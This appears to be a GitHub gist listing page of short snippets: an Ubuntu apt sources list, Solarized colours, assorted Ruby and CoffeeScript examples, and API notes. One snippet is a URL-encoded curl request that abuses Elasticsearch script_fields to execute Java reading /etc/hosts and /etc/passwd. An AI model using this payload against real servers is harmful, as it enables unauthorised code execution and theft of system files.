This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
deb http://mirrors.163.com/ubuntu/ raring main universe restricted multiverse | |
deb-src http://mirrors.163.com/ubuntu/ raring main universe restricted multiverse | |
deb http://mirrors.163.com/ubuntu/ raring-security universe main multiverse restricted | |
deb-src http://mirrors.163.com/ubuntu/ raring-security universe main multiverse restricted | |
deb http://mirrors.163.com/ubuntu/ raring-updates universe main multiverse restricted | |
deb http://mirrors.163.com/ubuntu/ raring-proposed universe main multiverse restricted | |
deb-src http://mirrors.163.com/ubuntu/ raring-proposed universe main multiverse restricted | |
deb http://mirrors.163.com/ubuntu/ raring-backports universe main multiverse restricted | |
deb-src http://mirrors.163.com/ubuntu/ raring-backports universe main multiverse restricted | |
deb-src http://mirrors.163.com/ubuntu/ raring-updates universe main multiverse restricted |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$base03: #002b36 | |
$base02: #073642 | |
$base01: #586e75 | |
$base00: #657b83 | |
$base0: #839496 | |
$base1: #93a1a1 | |
$base2: #eee8d5 | |
$base3: #fdf6e3 | |
$yellow: #b58900 | |
$orange: #cb4b16 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
ENV['p_name'] = 'master' | |
puts "[master] pid: #{Process.pid} pname: #{ENV['p_name']}" | |
p1 = Process.fork{ | |
puts "[p1] pid: #{Process.pid} pname: #{ENV['p_name']}" | |
ENV['p_name'] = 'p1' | |
puts "[p1] pid: #{Process.pid} pname: #{ENV['p_name']}" | |
} | |
p2 = Process.fork{ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Examples built with referenced from https://github.com/mojombo/grit/blob/master/lib/grit/repo.rb | |
POST /repos | |
PARAMS | |
bare: { type:Boolean, default:false } | |
repo_name: { type:String, required:true } | |
path: {type:String, required:true } | |
REQUEST EXMAPLE | |
{ | |
"bare":true, |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def inner_proc | |
_proc = Proc.new {return 42} | |
puts _proc.call | |
end | |
def outter_proc(_proc) | |
puts _proc.call | |
end | |
inner_proc # => 42 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
## | |
# Assertion that there is button | |
# | |
# see Capybara::Assertions#refute_button | |
# see Capybara::Assertions#assert_no_button | |
# see Capybara::expectations#must_have_button | |
# see Capybara::expectations#wont_have_button | |
# :method: assert_button | |
## |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
per_batch = 10 | |
0.step(User.count, per_batch) do |offset| | |
puts User.limit(per_batch).skip(offset).map(&:username).inspect | |
end |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# | |
# http://en.wikipedia.org/wiki/Time_dilation | |
# | |
C = 300000.0 | |
SECONDS_IN_YEAR = 365 * 24 * 3600 | |
def calculate(v, delta_t) | |
relative_v = ( v * v ) / ( C * C ) | |
denominator = Math.sqrt( 1 - relative_v ).to_f |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
curl http://localhost:9200/_search?source=%7B%22size%22%3A1%2C%22query%22%3A%7B%22filtered%22%3A%7B%22query%22%3A%7B%22match_all%22%3A%7B%7D%7D%7D%7D%2C%22script_fields%22%3A%7B%22%2Fetc%2Fhosts%22%3A%7B%22script%22%3A%22import%20java.util.*%3B%5Cnimport%20java.io.*%3B%5Cnnew%20Scanner(new%20File(%5C%22%2Fetc%2Fhosts%5C%22)).useDelimiter(%5C%22%5C%5C%5C%5CZ%5C%22).next()%3B%22%7D%2C%22%2Fetc%2Fpasswd%22%3A%7B%22script%22%3A%22import%20java.util.*%3B%5Cnimport%20java.io.*%3B%5Cnnew%20Scanner(new%20File(%5C%22%2Fetc%2Fpasswd%5C%22)).useDelimiter(%5C%22%5C%5C%5C%5CZ%5C%22).next()%3B%22%7D%7D%7D&callback=jQuery1111003201273805461824_1400992064967&_=1400992064968 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$.ajax | |
type: 'GET' | |
url: "http://crossdomain.com/data" | |
async: true | |
contentType: "application/json" | |
dataType: 'jsonp' | |
jsonpCallback: 'success_jsonpCallback' | |
success: (response) -> | |
console.log( response ) |
OlderNewer